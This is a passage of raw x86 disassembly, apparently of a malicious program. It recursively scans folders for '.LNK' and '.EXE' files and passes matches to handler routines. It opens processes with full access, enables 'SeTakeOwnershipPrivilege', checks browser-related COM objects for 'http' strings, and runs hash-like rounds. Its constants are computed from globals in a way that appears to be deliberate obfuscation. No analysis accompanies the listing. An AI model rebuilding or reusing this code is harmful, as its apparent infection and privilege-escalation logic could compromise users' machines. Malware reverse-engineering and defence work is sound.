		sub	eax, 4
		push	eax
		call	ds:dword_54C960


loc_43E7DA:				; CODE XREF: sub_43E77A+42j
		mov	eax, dword_54F10C
		add	eax, 62h
		mov	[ebp+var_248], eax
		push	offset byte_54FE69
		call	sub_43AAF7
		push	[ebp+arg_4]
		push	eax
		lea	edx, [ebp+var_256]
		push	edx
		call	ds:dword_50C928
		add	esp, 10h
		lea	eax, [ebp+var_256]
		push	eax
		call	ds:dword_54C964
		cmp	eax, 3
		jnz	short loc_43E82E
		mov	eax, dword_54F0D8
		add	eax, 122h
		add	eax, dword_54F1D8
		mov	[ebp+var_248], eax


loc_43E82E:				; CODE XREF: sub_43E77A+29j
					; sub_43E77A+9Cj
		xor	edi, edi
		inc	edi
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_43E836:				; CODE XREF: sub_43E77A+C1j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43E836
		mov	[ebp+var_24C], eax
		push	offset word_54FE62
		call	sub_43AAF7
		add	esp, 4
		push	ebx
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_50C928
		add	esp, 0Ch
		mov	eax, [ebp+var_24C]
		movsx	edx, word_54F240
		add	edx, dword_54F11C
		sub	edx, 5
		sub	eax, edx
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	loc_43E92F
		mov	eax, [ebp+var_24C]
		sub	eax, 4
		movsx	eax, byte ptr [ebx+eax]
		push	eax
		call	ds:dword_44603C
		add	esp, 4
		mov	edx, eax
		mov	[ebp+var_257], dl
		mov	eax, [ebp+var_24C]
		sub	eax, 2
		movsx	eax, byte ptr [ebx+eax]
		push	eax
		call	ds:dword_44603C
		add	esp, 4
		mov	edx, eax
		mov	[ebp+var_258], dl
		mov	eax, [ebp+var_24C]
		sub	eax, 3
		movsx	eax, byte ptr [ebx+eax]
		push	eax
		call	ds:dword_44603C
		add	esp, 4
		mov	edx, eax
		mov	[ebp+var_259], dl
		cmp	[ebp+var_257], 4Ch
		jnz	short loc_43E905
		cmp	[ebp+var_259], 4Eh
		jnz	short loc_43E905
		cmp	[ebp+var_258], 4Bh
		jnz	short loc_43E905
		push	ebx
		call	sub_43ADF1
		add	esp, 4


loc_43E905:				; CODE XREF: sub_43E77A+16Ej
					; sub_43E77A+177j ...
		cmp	[ebp+var_257], 45h
		jnz	short loc_43E92F
		cmp	[ebp+var_259], 58h
		jnz	short loc_43E92F
		cmp	[ebp+var_258], 45h
		jnz	short loc_43E92F
		push	[ebp+var_248]
		push	ebx
		call	sub_43ABE6
		add	esp, 8


loc_43E92F:				; CODE XREF: sub_43E77A+104j
					; sub_43E77A+192j ...
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_4CA228
		mov	esi, eax
		movsx	eax, word_54F1A8
		add	eax, dword_54F20C
		sub	eax, 3
		neg	eax
		cmp	esi, eax
		jz	loc_43EA16
		cmp	[ebp+var_112], 2Eh
		jz	loc_43EA12
		push	offset byte_54FE59
		call	sub_43AAF7
		lea	edx, [ebp+var_112]
		push	edx
		push	ebx
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_50C928
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_43E77A
		add	esp, 20h
		jmp	short loc_43EA12
; ---------------------------------------------------------------------------


loc_43E9A3:				; CODE XREF: sub_43E77A+29Aj
		lea	eax, [ebp+var_13E]
		push	eax
		push	esi
		call	ds:dword_447FC8
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43E9D4
		mov	eax, [ebp+var_248]
		add	eax, ds:dword_50C92C
		push	eax
		call	ds:dword_50C924
		pop	ecx
		push	esi
		call	ds:dword_4495BC
		jmp	short loc_43EA16
; ---------------------------------------------------------------------------


loc_43E9D4:				; CODE XREF: sub_43E77A+23Bj
		cmp	[ebp+var_112], 2Eh
		jz	short loc_43EA12
		push	offset dword_54FE50
		call	sub_43AAF7
		lea	edx, [ebp+var_112]
		push	edx
		push	ebx
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_50C928
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_43E77A
		add	esp, 20h


loc_43EA12:				; CODE XREF: sub_43E77A+1ECj
					; sub_43E77A+227j ...
		or	edi, edi
		jnz	short loc_43E9A3


loc_43EA16:				; CODE XREF: sub_43E77A+1DFj
					; sub_43E77A+258j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E77A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EA1B	proc near		; CODE XREF: sub_4394E9+3Ap

var_10034	= dword	ptr -10034h
var_10030	= byte ptr -10030h
var_1002C	= dword	ptr -1002Ch
var_10028	= dword	ptr -10028h
var_10024	= dword	ptr -10024h
var_10020	= byte ptr -10020h
var_10018	= dword	ptr -10018h
var_10010	= dword	ptr -10010h
var_1000C	= dword	ptr -1000Ch
var_10008	= dword	ptr -10008h
var_10004	= dword	ptr -10004h
var_FFFF	= byte ptr -0FFFFh
var_FFFE	= byte ptr -0FFFEh
var_FFFD	= byte ptr -0FFFDh
var_FFFC	= byte ptr -0FFFCh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10034h
		call	sub_4455B4
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_54F220
		add	eax, dword_54F100
		sub	eax, 0Bh
		cmp	dword_54F2C4, eax
		jnz	short loc_43EA55
		mov	eax, dword_54F0EC
		add	eax, 9
		cmp	ds:dword_4495D0, eax
		jb	loc_43ECCD


loc_43EA55:				; CODE XREF: sub_43EA1B+24j
		lea	eax, [ebp+var_10020]
		push	eax
		call	ds:dword_446048
		lea	eax, [ebp+var_10030]
		push	eax
		lea	eax, [ebp+var_10020]
		push	eax
		push	9
		movsx	eax, word_54F104
		add	eax, dword_54F1EC
		sub	eax, 3
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CA224
		mov	edi, eax
		mov	eax, dword_54F1D0
		movsx	edx, word_54F148
		add	eax, edx
		sub	eax, 8
		cmp	edi, eax
		jnz	loc_43ECCD
		mov	esi, [ebp+var_10018]
		mov	eax, dword_54F1B4
		sub	eax, 4
		mov	[ebp+var_10008], eax
		lea	eax, [ebp+var_10008]
		push	eax
		push	offset dword_550AA8
		push	esi
		mov	edx, [esi]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		mov	eax, dword_54F20C
		sub	eax, 4
		cmp	edi, eax
		jnz	loc_43ECCD
		lea	eax, [ebp+var_10024]
		push	eax
		mov	eax, [ebp+var_10008]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+78h]
		mov	edi, eax
		mov	eax, dword_54F1BC
		movsx	edx, word_54F190
		add	eax, edx
		sub	eax, 0Eh
		cmp	edi, eax
		jnz	loc_43ECC7
		lea	eax, [ebp+var_FFFF]
		push	eax
		push	[ebp+var_10024]
		call	sub_43BBFE
		add	esp, 8
		mov	edx, eax
		inc	edx
		mov	[ebp+var_10034], edx
		push	[ebp+var_10024]
		call	ds:dword_54DF34
		cmp	[ebp+var_FFFF],	68h
		jnz	short loc_43EB5F
		cmp	[ebp+var_FFFE],	74h
		jnz	short loc_43EB5F
		cmp	[ebp+var_FFFD],	74h
		jnz	short loc_43EB5F
		cmp	[ebp+var_FFFC],	70h
		jz	short loc_43EB64


loc_43EB5F:				; CODE XREF: sub_43EA1B+127j
					; sub_43EA1B+130j ...
		jmp	loc_43ECC7
; ---------------------------------------------------------------------------


loc_43EB64:				; CODE XREF: sub_43EA1B+142j
		lea	eax, [ebp+var_10010]
		push	eax
		mov	eax, [ebp+var_10008]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+48h]
		mov	edi, eax
		mov	eax, dword_54F1DC
		add	eax, dword_54F234
		sub	eax, 8
		cmp	edi, eax
		jnz	loc_43ECC7
		lea	eax, [ebp+var_10004]
		push	eax
		push	offset dword_550A28
		mov	eax, [ebp+var_10010]
		push	eax
		mov	edx, [eax]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		mov	eax, dword_54F0A4
		sub	eax, 7
		cmp	edi, eax
		jnz	loc_43ECBB
		lea	eax, [ebp+var_1000C]
		push	eax
		mov	eax, [ebp+var_10004]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+1B0h]
		mov	edi, eax
		mov	eax, dword_54F124
		add	eax, dword_54F22C
		sub	eax, 9
		cmp	edi, eax
		jnz	loc_43ECAF
		lea	eax, [ebp+var_10028]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		mov	edi, eax
		mov	eax, dword_54F0C0
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		sub	eax, 4
		cmp	edi, eax
		jz	short loc_43EC23
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		jmp	loc_43ECAF
; ---------------------------------------------------------------------------


loc_43EC23:				; CODE XREF: sub_43EA1B+1F5j
		xor	ebx, ebx
		mov	eax, [ebp+var_10028]
		cmp	[ebp+var_1000C], eax
		jz	short loc_43EC36
		xor	ebx, ebx
		inc	ebx


loc_43EC36:				; CODE XREF: sub_43EA1B+216j
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		mov	eax, [ebp+var_10028]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		or	ebx, ebx
		jnz	short loc_43ECAF
		lea	eax, [ebp+var_1002C]
		push	eax
		mov	eax, [ebp+var_10004]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+20h]
		mov	edi, eax
		mov	eax, dword_54F12C
		movsx	edx, word_54F198
		add	eax, edx
		sub	eax, 9
		cmp	edi, eax
		jnz	short loc_43ECAF
		lea	eax, [ebp+var_FFFF]
		push	eax
		push	[ebp+var_10008]
		push	[ebp+var_1002C]
		push	[ebp+var_10004]
		call	sub_4404CE
		push	[ebp+var_1002C]
		push	[ebp+var_10004]
		push	esi
		call	sub_44526D
		add	esp, 1Ch


loc_43ECAF:				; CODE XREF: sub_43EA1B+1CAj
					; sub_43EA1B+203j ...
		mov	eax, [ebp+var_10004]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_43ECBB:				; CODE XREF: sub_43EA1B+19Cj
		mov	eax, [ebp+var_10010]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_43ECC7:				; CODE XREF: sub_43EA1B+F0j
					; sub_43EA1B:loc_43EB5Fj ...
		push	esi
		mov	eax, [esi]
		call	dword ptr [eax+8]


loc_43ECCD:				; CODE XREF: sub_43EA1B+34j
					; sub_43EA1B+86j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43EA1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ECD2	proc near		; CODE XREF: sub_444ED7+2E0p

var_68		= dword	ptr -68h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		call	ds:dword_4899F4
		mov	ebx, eax
		call	sub_44122A
		or	eax, eax
		jnz	short loc_43ECFA
		mov	edi, dword_54F234
		sub	edi, 7
		jmp	loc_43EF05
; ---------------------------------------------------------------------------


loc_43ECFA:				; CODE XREF: sub_43ECD2+18j
		push	ebx
		movsx	eax, word_54F13C
		sub	eax, 9
		push	eax
		push	1F0FFFh
		call	ds:dword_54DF2C
		mov	esi, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		push	esi
		call	ds:dword_449080
		mov	edi, eax
		mov	edx, dword_54F124
		add	edx, dword_54F1F4
		mov	ecx, dword_54F0C0
		sub	ecx, 2
		mov	[ebp+edx*4+var_68], ecx
		mov	eax, dword_54F0C0
		sub	eax, 2
		cmp	edi, eax
		jz	loc_43EF05
		lea	eax, [ebp+var_40]
		push	eax
		push	28h
		lea	eax, [ebp+var_3C]
		push	eax
		mov	eax, dword_54F1A0
		add	eax, 0Ah
		add	eax, dword_54F1EC
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4CC90C
		mov	edi, eax
		cmp	[ebp+arg_0], 0
		jz	short loc_43EDCE
		mov	eax, dword_54F100
		sub	eax, 9
		cmp	edi, eax
		jnz	short loc_43ED8F
		mov	edi, dword_54F0AC
		sub	edi, 6
		jmp	loc_43EF05
; ---------------------------------------------------------------------------


loc_43ED8F:				; CODE XREF: sub_43ECD2+ADj
		mov	eax, dword_54F120
		mov	edi, eax
		add	edi, dword_54F180
		sub	edi, 7
		mov	eax, dword_54F214
		movsx	edx, word_54F218
		add	eax, edx
		sub	eax, 3
		cmp	[ebp+var_3C], eax
		jz	loc_43EF05
		mov	eax, dword_54F23C
		mov	edi, eax
		add	edi, dword_54F0DC
		sub	edi, 4
		jmp	loc_43EF05
; ---------------------------------------------------------------------------


loc_43EDCE:				; CODE XREF: sub_43ECD2+A1j
		mov	eax, dword_54F160
		sub	eax, 7
		cmp	dword_54F28C, eax
		jnz	short loc_43EDF6
		mov	eax, dword_54F1A0
		add	eax, 3FF8h
		push	eax
		push	40h
		call	ds:dword_4899EC
		mov	dword_54F28C, eax


loc_43EDF6:				; CODE XREF: sub_43ECD2+10Aj
		lea	eax, [ebp+var_40]
		push	eax
		movsx	eax, word_54F244
		mov	edx, dword_54F100
		lea	eax, [eax+edx+3FF0h]
		push	eax
		push	dword_54F28C
		push	1
		push	[ebp+var_4]
		call	ds:dword_4CC90C
		mov	eax, dword_54F200
		add	eax, dword_54F1B0
		sub	eax, 0Ch
		cmp	dword_54F288, eax
		jnz	short loc_43EE45
		push	14h
		push	0
		call	ds:dword_4899EC
		mov	dword_54F288, eax


loc_43EE45:				; CODE XREF: sub_43ECD2+162j
		push	1
		push	dword_54F288
		call	ds:dword_447008
		mov	edi, eax
		push	0
		mov	eax, dword_54F168
		movsx	edx, word_54F208
		add	eax, edx
		sub	eax, 3
		push	eax
		push	1
		push	dword_54F288
		call	ds:dword_48A1E4
		mov	edi, eax
		push	0
		mov	eax, dword_54F28C
		push	dword ptr [eax]
		push	dword_54F288
		call	ds:dword_4899E8
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aSetakeownershi ; "SeTakeOwnershipPrivilege"
		mov	eax, dword_54F170
		sub	eax, 4
		push	eax
		call	ds:dword_446020
		mov	edi, eax
		mov	[ebp+var_8], 2
		mov	eax, dword_54F1B0
		sub	eax, 7
		cmp	edi, eax
		jz	short loc_43EF05
		movsx	eax, word_54F1F0
		movsx	edx, word_54F148
		add	eax, edx
		sub	eax, 6
		mov	[ebp+var_14], eax
		movsx	eax, word_54F0B4
		sub	eax, 5
		push	eax
		movsx	eax, word_54F164
		add	eax, dword_54F1FC
		dec	eax
		push	eax
		mov	eax, dword_54F140
		dec	eax
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		push	[ebp+var_4]
		call	ds:dword_4CB81C
		mov	edi, eax


loc_43EF05:				; CODE XREF: sub_43ECD2+23j
					; sub_43ECD2+73j ...
		push	esi
		call	ds:dword_4CB948
		push	[ebp+var_4]
		call	ds:dword_4CB948
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43ECD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EF1C	proc near		; CODE XREF: sub_43CE88+B1p
					; sub_43CE88+19Fp

var_10038	= dword	ptr -10038h
var_10004	= dword	ptr -10004h
var_FFFF	= byte ptr -0FFFFh
var_FFFB	= byte ptr -0FFFBh
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10004h
		call	sub_4455B4
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		lea	edi, dword_4CA440
		cmp	[ebp+arg_4], 43h
		jnz	short loc_43EF41
		lea	edi, dword_4490A0


loc_43EF41:				; CODE XREF: sub_43EF1C+1Dj
		cmp	[ebp+arg_4], 50h
		jnz	short loc_43EF4D
		lea	edi, dword_4CB830


loc_43EF4D:				; CODE XREF: sub_43EF1C+29j
		mov	eax, dword_54F0C8
		dec	eax
		push	eax
		push	80h
		push	3
		mov	eax, dword_54F1D8
		movsx	edx, word_54F094
		add	eax, edx
		sub	eax, 6
		push	eax
		push	3
		push	0C0000000h
		push	edi
		call	ds:dword_54DB18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_43F04D
		push	0
		mov	eax, dword_54F188
		sub	eax, 5
		push	eax
		push	esi
		push	edi
		call	ds:dword_54DF30
		mov	eax, dword_54F214
		add	eax, dword_54F17C
		sub	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_10004]
		push	eax
		push	0FFFFh
		lea	eax, [ebp+var_FFFF]
		push	eax
		push	edi
		call	ds:dword_446034
		lea	ecx, [ebp+var_FFFB]
		or	eax, 0FFFFFFFFh


loc_43EFCB:				; CODE XREF: sub_43EF1C+B4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43EFCB
		mov	edx, dword_54F154
		add	edx, dword_54F178
		sub	edx, 0Ch
		mov	ebx, eax
		add	ebx, edx
		mov	[ebp+var_10004], ebx
		push	0
		movsx	eax, word_54F0FC
		add	eax, dword_54F188
		sub	eax, 7
		push	eax
		push	esi
		push	edi
		call	ds:dword_54DF30
		mov	esi, dword_54F1BC
		add	esi, dword_54F1C8
		mov	ebx, [ebp+var_10004]
		mov	[ebp+esi*4+var_10038+1], ebx
		mov	eax, dword_54F15C
		sub	eax, 4
		push	eax
		lea	eax, [ebp+var_10004]
		push	eax
		mov	eax, dword_54F1FC
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_FFFF]
		push	eax
		push	edi
		call	ds:dword_54DF1C
		push	edi
		call	ds:dword_4CB948


loc_43F04D:				; CODE XREF: sub_43EF1C+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43EF1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F052	proc near		; CODE XREF: sub_43B3AD+A8p

var_11C		= dword	ptr -11Ch
var_DC		= dword	ptr -0DCh
var_9C		= dword	ptr -9Ch
var_5C		= dword	ptr -5Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		mov	edx, [eax+4]
		mov	[ebp+var_8], edx
		mov	eax, [eax+0Ch]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		lea	edi, [ebp+var_11C]
		lea	esi, dword_54F360
		mov	ecx, 10h
		rep movsd
		lea	edi, [ebp+var_5C]
		lea	esi, dword_54F3A0
		mov	ecx, 10h
		rep movsd
		lea	edi, [ebp+var_9C]
		lea	esi, dword_54F3E0
		mov	ecx, 10h
		rep movsd
		lea	edi, [ebp+var_DC]
		lea	esi, dword_54F420
		mov	ecx, 10h
		rep movsd
		mov	eax, dword_54F174
		mov	ebx, eax
		add	ebx, eax
		sub	ebx, 0Eh
		jmp	loc_43F206
; ---------------------------------------------------------------------------


loc_43F0D5:				; CODE XREF: sub_43F052+1C0j
		mov	edi, ebx
		shl	edi, 2
		push	[ebp+edi+var_11C]
		mov	edi, dword_54F18C
		add	edi, 6
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		call	sub_43BA46
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		mov	eax, dword_54F1F8
		inc	eax
		cmp	ebx, eax
		jz	short loc_43F15A
		mov	edi, ebx
		add	edi, dword_54F224
		push	[ebp+edi*4+var_11C]
		movsx	edi, word_54F190
		add	edi, dword_54F0B0
		dec	edi
		push	edi
		mov	edi, dword_54F1F4
		sub	edi, 8
		mov	esi, ebx
		add	esi, edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+esi*4]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_43BA46
		add	esp, 1Ch
		mov	[ebp+var_10], eax


loc_43F15A:				; CODE XREF: sub_43F052+BEj
		mov	edi, dword_54F168
		movsx	esi, word_54F148
		add	edi, esi
		dec	edi
		mov	esi, ebx
		add	esi, edi
		push	[ebp+esi*4+var_11C]
		movsx	edi, word_54F0D0
		add	edi, 0Bh
		push	edi
		movsx	edi, word_54F1CC
		sub	edi, 7
		mov	esi, ebx
		add	esi, edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+esi*4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		call	sub_43BA46
		mov	[ebp+var_4], eax
		movsx	edi, word_54F210
		add	edi, dword_54F1F8
		sub	edi, 5
		mov	esi, ebx
		add	esi, edi
		push	[ebp+esi*4+var_11C]
		mov	edi, dword_54F1BC
		add	edi, 10h
		push	edi
		movsx	edi, word_54F198
		add	edi, 2
		mov	esi, ebx
		add	esi, edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+esi*4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	eax
		push	[ebp+var_8]
		call	sub_43BA46
		add	esp, 38h
		mov	[ebp+var_8], eax
		mov	eax, dword_54F160
		add	eax, dword_54F154
		sub	eax, 0Bh
		add	ebx, eax


loc_43F206:				; CODE XREF: sub_43F052+7Ej
		movsx	eax, word_54F164
		add	eax, 0Bh
		cmp	ebx, eax
		jbe	loc_43F0D5
		mov	eax, dword_54F154
		mov	ebx, eax
		add	ebx, dword_54F15C
		sub	ebx, 0Bh
		mov	eax, dword_54F100
		movsx	edx, word_54F0FC
		add	eax, edx
		sub	eax, 0Bh
		mov	[ebp+var_14], eax
		jmp	loc_43F3DA
; ---------------------------------------------------------------------------


loc_43F241:				; CODE XREF: sub_43F052+393j
		mov	edi, [ebp+var_14]
		push	[ebp+edi*4+var_5C]
		mov	edi, dword_54F178
		sub	edi, 4
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		call	sub_43BAED
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		mov	eax, dword_54F24C
		sub	eax, 4
		add	ebx, eax
		mov	eax, dword_54F204
		add	eax, 0Eh
		cmp	ebx, eax
		jb	short loc_43F28F
		mov	eax, dword_54F1B4
		add	eax, 0Ch
		sub	ebx, eax


loc_43F28F:				; CODE XREF: sub_43F052+231j
		mov	edi, [ebp+var_14]
		mov	esi, dword_54F0DC
		sub	esi, 3
		add	edi, esi
		push	[ebp+edi*4+var_5C]
		mov	edi, dword_54F174
		movsx	esi, word_54F240
		add	edi, esi
		sub	edi, 6
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_43BAED
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	eax, dword_54F0D4
		add	eax, dword_54F0E4
		sub	eax, 5
		add	ebx, eax
		mov	eax, dword_54F0E4
		add	eax, 4
		add	eax, dword_54F174
		cmp	ebx, eax
		jb	short loc_43F2FD
		mov	eax, dword_54F1B4
		add	eax, 0Ch
		sub	ebx, eax


loc_43F2FD:				; CODE XREF: sub_43F052+29Fj
		mov	edi, [ebp+var_14]
		movsx	esi, word_54F210
		add	esi, dword_54F200
		sub	esi, 8
		add	edi, esi
		push	[ebp+edi*4+var_5C]
		mov	edi, dword_54F18C
		add	edi, 9
		add	edi, dword_54F1E4
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		call	sub_43BAED
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		mov	eax, dword_54F178
		sub	eax, 4
		add	ebx, eax
		mov	eax, dword_54F238
		add	eax, 10h
		cmp	ebx, eax
		jb	short loc_43F363
		mov	eax, dword_54F0D8
		add	eax, 0Ah
		sub	ebx, eax


loc_43F363:				; CODE XREF: sub_43F052+305j
		mov	edi, [ebp+var_14]
		mov	esi, dword_54F200
		sub	esi, 2
		add	edi, esi
		push	[ebp+edi*4+var_5C]
		movsx	edi, word_54F0C4
		add	edi, 0Eh
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_43BAED
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		mov	eax, dword_54F100
		sub	eax, 4
		add	ebx, eax
		movsx	eax, word_54F210
		mov	edx, dword_54F1A0
		lea	eax, [eax+edx+3]
		cmp	ebx, eax
		jb	short loc_43F3CF
		mov	eax, dword_54F170
		add	eax, 8
		movsx	edx, word_54F144
		add	eax, edx
		sub	ebx, eax


loc_43F3CF:				; CODE XREF: sub_43F052+368j
		mov	eax, dword_54F18C
		add	eax, 3
		add	[ebp+var_14], eax


loc_43F3DA:				; CODE XREF: sub_43F052+1EAj
		mov	eax, dword_54F224
		add	eax, 0Bh
		cmp	[ebp+var_14], eax
		jbe	loc_43F241
		mov	ebx, dword_54F0BC
		add	ebx, 5
		movsx	eax, word_54F138
		sub	eax, 3
		mov	[ebp+var_18], eax
		jmp	loc_43F59F
; ---------------------------------------------------------------------------


loc_43F406:				; CODE XREF: sub_43F052+55Aj
		mov	edi, [ebp+var_18]
		push	[ebp+edi*4+var_9C]
		mov	edi, dword_54F0C8
		add	edi, 3
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		call	sub_43CD8F
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		mov	eax, dword_54F0E0
		sub	eax, 3
		add	ebx, eax
		mov	eax, dword_54F114
		add	eax, 0Fh
		cmp	ebx, eax
		jb	short loc_43F459
		movsx	eax, word_54F0C4
		add	eax, 0Ah
		sub	ebx, eax


loc_43F459:				; CODE XREF: sub_43F052+3F9j
		mov	edi, [ebp+var_18]
		mov	esi, dword_54F0D4
		sub	esi, 4
		add	edi, esi
		push	[ebp+edi*4+var_9C]
		mov	edi, dword_54F100
		add	edi, 2
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_43CD8F
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		movsx	eax, word_54F244
		movsx	edx, word_54F104
		add	eax, edx
		sub	eax, 4
		add	ebx, eax
		mov	eax, dword_54F0E4
		add	eax, 0Bh
		cmp	ebx, eax
		jb	short loc_43F4C6
		mov	eax, dword_54F23C
		add	eax, 0Fh
		add	eax, dword_54F130
		sub	ebx, eax


loc_43F4C6:				; CODE XREF: sub_43F052+462j
		mov	edi, [ebp+var_18]
		mov	esi, dword_54F1B4
		sub	esi, 2
		add	edi, esi
		push	[ebp+edi*4+var_9C]
		mov	edi, dword_54F1E0
		add	edi, 0Ch
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		call	sub_43CD8F
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		mov	eax, dword_54F1C0
		add	eax, 2
		add	ebx, eax
		movsx	eax, word_54F144
		add	eax, 0Ch
		cmp	ebx, eax
		jb	short loc_43F524
		mov	eax, dword_54F1C8
		add	eax, 8
		sub	ebx, eax


loc_43F524:				; CODE XREF: sub_43F052+4C6j
		mov	edi, [ebp+var_18]
		mov	esi, dword_54F1F4
		movsx	edx, word_54F208
		add	esi, edx
		sub	esi, 7
		add	edi, esi
		push	[ebp+edi*4+var_9C]
		mov	edi, dword_54F158
		add	edi, 12h
		add	edi, dword_54F134
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_43CD8F
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		mov	eax, dword_54F230
		add	eax, 2
		add	ebx, eax
		mov	eax, dword_54F1E0
		add	eax, 0Bh
		add	eax, dword_54F0C8
		cmp	ebx, eax
		jb	short loc_43F597
		movsx	eax, word_54F190
		add	eax, 8
		sub	ebx, eax


loc_43F597:				; CODE XREF: sub_43F052+537j
		mov	eax, dword_54F170
		add	[ebp+var_18], eax


loc_43F59F:				; CODE XREF: sub_43F052+3AFj
		movsx	eax, word_54F138
		add	eax, 9
		cmp	[ebp+var_18], eax
		jbe	loc_43F406
		mov	ebx, dword_54F0A4
		sub	ebx, 7
		mov	eax, dword_54F0E4
		add	eax, dword_54F140
